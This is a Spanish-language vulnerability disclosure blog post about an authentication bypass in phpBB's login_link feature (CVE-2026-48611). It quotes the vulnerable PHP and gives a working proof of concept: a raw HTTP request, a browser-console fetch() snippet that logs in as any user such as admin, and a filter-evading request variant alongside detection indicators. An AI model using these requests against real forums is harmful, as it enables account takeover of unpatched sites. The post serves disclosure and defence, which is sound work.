Omisión de la autenticación en la configuración predeterminada de phpBB

El 10 de junio anunciamos una vulnerabilidad crítica en phpBB que permite a los atacantes eludir la autenticación, conocida ahora como CVE-2026-48611. Esta entrada es una actualización que incluye detalles técnicos que explican los escenarios de explotación y los métodos de detección.

Para ponerte al día, phpBB es un antiguo software de foros que todavía utilizan hoy en día diversas comunidades técnicas. Solo en la sección «Site Showcase» de phpBB hay más de 6 millones de miembros. Aunque en el pasado se han producido algunos ataques muy sonados, como el gusano «Santy» en 2004, hoy en día no han tenido muchos problemas con vulnerabilidades. Esta revelación rompe esa tendencia.

Mientras investigábamos para mejorar nuestro producto de pruebas de penetración basado en IA, los agentes de Aikido Attack nos alertaron de una «vulnerabilidad crítica de elusión de la autenticación» en phpBB. Al principio nos mostramos un poco escépticos. Seguramente se trataba de algún error de configuración o de un caso excepcional que habíamos cometido al configurarlo. Pero nada más lejos de la realidad.

La vulnerabilidad detectada funciona con la configuración predeterminada y solo requiere una única solicitud sin autenticar para iniciar sesión con plenos derechos en cualquier cuenta arbitraria. ¡Iniciar sesión en la cuenta de un administrador podría permitirte controlar todo el foro!

Al darnos cuenta de esto, notificamos inmediatamente la vulnerabilidad en HackerOne y recibimos la confirmación de que se había evaluado en menos de 9 minutos.

Cuatro días después, se publicó un parche en la versión 3.3.17 que solucionaba la vulnerabilidad. Si administras un foro de phpBB, actualízalo a esta versión lo antes posible si aún no lo has hecho.

Ahora vamos a analizar qué partes del código eran vulnerables y cómo se pudieron explotar. Spoiler: no se trata de un exploit tan complicado como podrías imaginar…

Elusión de la autenticación

Todo esto tiene que ver con el funcionamiento exacto del procedimiento de inicio de sesión en phpBB. No se trata del flujo principal de inicio de sesión, sino, concretamente, de la función «login-link». Al conectarse a servicios externos como Google o GitHub OAuth, esta función sirve para vincular la cuenta a una cuenta ya existente en la instancia de phpBB o para registrar una nueva.

Si decides vincularla a una cuenta ya existente, te pedirá que inicies sesión en tu cuenta con el mode=login_link Parámetro de consulta. Al enviarlo, se conectará la cuenta de OAuth una vez que hayas iniciado sesión.

La llamada de retorno la gestiona ucp_login_link.php y primero busca login_link_* datos como parámetros de consulta, que no deben estar vacíos. Estos se extraen aquí:

class ucp_login_link {
    function main($id, $mode) {
        ...
        $data = $this->get_login_link_data_array();
        if (empty($data)) {
            $login_link_error = $user->lang['LOGIN_LINK_NO_DATA_PROVIDED'];
        }
        ...
    }
}

protected function get_login_link_data_array() {
    ...
    foreach ($var_names as $var_name) {
        if (strpos($var_name, 'login_link_') === 0) {
            $key_name = substr($var_name, $string_start_length);
            $login_link_data[$key_name] = $request->variable($var_name, '', false, \phpbb\request\request_interface::GET);
        }
    }

Por suerte, esto se puede solucionar fácilmente añadiendo algunos datos ficticios como login_link_aikido=1. Hace que el $data no está vacía, y podemos continuar con el proceso.

Más adelante en el código, empezamos a notar algo peculiar. Tenemos control sobre el auth_provider parámetro de consulta:

// Utilizar el proveedor de autenticación solicitado, aunque sea diferente del configurado
$provider_collection = $phpbb_container->get('auth.provider_collection');
$auth_provider = $provider_collection->get_provider($request->variable('auth_provider', ''));

Normalmente, el valor solo se establece en oauth, pero podemos controlarlo por completo. Se supone que debe indicar al servidor phpBB qué proveedor debe utilizarse para verificar la autenticación; por ejemplo, si tienes configuradas tanto una base de datos local como la autenticación OAuth. Pero, ¿qué ocurre cuando introducimos otros valores?

phpBB define todas ellas como clases en phpbb/auth/provider. Hay uno que se llama apache.php eso es muy sencillo, un poco también sencillo:

class apache extends base {
    public function login($username, $password) {
        $php_auth_user = html_entity_decode($this->request->server('PHP_AUTH_USER'), ENT_COMPAT);
        $php_auth_pw = html_entity_decode($this->request->server('PHP_AUTH_PW'), ENT_COMPAT);

        if (!empty($php_auth_user) && !empty($php_auth_pw)) {
            // Basic auth username must match submitted username
            if ($php_auth_user !== $username) {
                return array('status' => LOGIN_ERROR_USERNAME, ...);
            }

            // Look up user in database
            $sql = 'SELECT user_id, username, user_password, user_passchg, user_email, user_type
                FROM ' . USERS_TABLE . "
                WHERE username = '" . $this->db->sql_escape($php_auth_user) . "'";
            $result = $this->db->sql_query($sql);
            $row = $this->db->sql_fetchrow($result);
            $this->db->sql_freeresult($result);

            if ($row) {
                // User inactive
                if ($row['user_type'] == USER_INACTIVE || $row['user_type'] == USER_IGNORE) {
                    return array('status' => LOGIN_ERROR_ACTIVE, ...);
                }

                // Successful login
                return array('status' => LOGIN_SUCCESS, ...);
            }

Comprueba que el nombre de usuario enviado coincida PHP_AUTH_USER (descifrado Básico (nombre de usuario de autenticación), busca al usuario y, a continuación, simplemente devuelve INICIO DE SESIÓN CORRECTO. Pero falta algo: ¡la comprobación de la contraseña!

¡Enhorabuena, acabas de descubrir una vulnerabilidad crítica de elusión de autenticación en phpBB! Al elegir un proveedor inesperado como apache, podemos saltarnos la contraseña e iniciar sesión como cualquier usuario.

Ahora bien, para aclarar cualquier duda, los responsables del mantenimiento no se «olvidaron» simplemente de añadir una comprobación de contraseña aquí. El funcionalidad prevista de la apache El proveedor da por hecho que la autenticación la gestiona el proxy de Apache con .htpasswd, y todas las solicitudes deben pasar primero por él. En ese caso, phpBB simplemente confía en el nombre de usuario que figura en el encabezado de autenticación básica.

Lo que hicimos aquí fue activar el apache servidor sin necesidad de configurar Apache, gracias a una función diseñada exclusivamente para oauth. En este caso, el cliente se convierte directamente en el «proxy de confianza» y podemos enviar cualquier nombre de usuario que desee.

Así pues, podemos realizar una solicitud que active el flujo del enlace de inicio de sesión con datos válidos y un nombre de usuario de nuestra elección, pero configurando el controlador para que apache para saltarse la comprobación de la contraseña. Los nombres de usuario no son difíciles de encontrar en las instancias de phpBB, lo que facilita iniciar sesión como administrador o moderador.

Todo esto funciona con la configuración predeterminada de phpBB, lo que lo hace aún más peligroso

Demostración de concepto

Reproducir esta vulnerabilidad no es difícil. En cualquier instancia local de phpBB, la siguiente solicitud HTTP muestra una forma de eludir la autenticación para acceder a la administrador usuario (codificado en Base64 en el Autorización: encabezado como admin:x con YWRtaW46eA==).

POST /ucp.php?mode=login_link&auth_provider=apache&login_link_aikido=1 HTTP/1.1
Host: phpbb.local
Longitud del contenido: 49
Autorización: Basic YWRtaW46eA==
Tipo de contenido: application/x-www-form-urlencoded

login_username=admin&login_password=x&login=Iniciar sesión

Si la respuesta es correcta, se establecen las cookies y se redirige a la página de inicio. A continuación, el atacante tiene acceso completo a la cuenta objetivo.

HTTP/1.1 302 Encontrado
Servidor: Apache/2.4.67 (Debian)
X-Powered-By: PHP/8.2.31
Set-Cookie: phpbb_f4xf4_u=1; ruta=/; dominio=phpbb.local; HttpOnly
Set-Cookie: phpbb_f4xf4_k=; ruta=/; dominio=phpbb.local; HttpOnly
Set-Cookie: phpbb_f4xf4_sid=4c512fa6d44b00f3fe760603e7a84257; ruta=/; dominio=phpbb.local; HttpOnly
Set-Cookie: phpbb_f4xf4_u=2; ruta=/; dominio=phpbb.local; HttpOnly
Set-Cookie: phpbb_f4xf4_k=; ruta=/; dominio=phpbb.local; HttpOnly
Set-Cookie: phpbb_f4xf4_sid=5e331defa66c2fc6db386f7c9abd0c55; ruta=/; dominio=phpbb.local; HttpOnly
Location: http://phpbb.local/index.php/
Longitud del contenido: 0
Content-Type: text/html; charset=UTF-8

Para generar la solicitud anterior, se puede ejecutar el siguiente código JavaScript en la consola de DevTools de cualquier instancia:

const TARGET_USER = "admin";
await fetch('/ucp.php?mode=login_link&auth_provider=apache&login_link_aikido=1', {
  method: "POST",
  headers: {
    Authorization: `Basic ${btoa(TARGET_USER + ":x")}`
  },
  body: new URLSearchParams({login_username: TARGET_USER, login_password: "x", login: "Login"})
});

Al volver a cargar la página web a continuación, se comprueba que el atacante ha iniciado sesión en la cuenta afectada:

Indicadores de compromiso

Comprueba los registros de solicitudes en busca de solicitudes POST que tengan auth_provider=apache y mode=login_link parámetros de consulta juntos. Este es el método de ataque más habitual. Véase la solicitud de ejemplo arriba.

Sin embargo, hay que tener en cuenta que, dado que phpBB también lee ambos parámetros del cuerpo de la solicitud POST, estos tienen prioridad sobre los parámetros GET. Una solicitud para eludir el filtro podría tener entonces el aspecto de una solicitud normal mode=login, mientras se lleva a cabo mode=login_link en el cuerpo. login_link_* sigue siendo un parámetro de consulta obligatorio, por lo que puede utilizarse como indicador de una solicitud sospechosa y analizarse posteriormente de forma manual. Puede tener este aspecto:

POST /ucp.php?mode=login&login_link_ANYTHING=1 HTTP/1.1
Host: phpbb.local
Longitud del contenido: 86
Tipo de contenido: application/x-www-form-urlencoded
Autorización: Basic YWRtaW46eA==

login_username=admin&login_password=x&mode=login_link&auth_provider=apache&login=Iniciar sesión

Esto es el tipo de cosas que Aikido Attack detecta en una ejecución normal. Busca formas de eludir la autenticación, vulnerabilidades IDOR y fallos lógicos tal y como lo haría un atacante real, y luego valida cada una de ellas para que solo veas lo que realmente se puede explotar. Úsalo en tus propias aplicaciones y protégelas rápidamente.

Cronología

• 2 de junio de 2026, 20:22 h - Se ha enviado un informe al programa VDP de https://hackerone.com/phpbb
• 2 de junio de 2026, 20:31 - El equipo de phpBB ha evaluado la denuncia (¡así es, en 9 minutos!)
• 6 de junio de 2026, 16:26 h - Se lanza la versión 3.3.17 con un parche
• 10 de junio de 2026, 12:33 h - Publicamos un comunicado inicial para advertir a los usuarios
• 10 de junio de 2026, 19:33 h - Los responsables de phpBB nos piden que esperemos cuatro semanas antes de publicar los detalles técnicos
• 3 de julio de 2026, 2:45 de la madrugada - Se publica este artículo técnico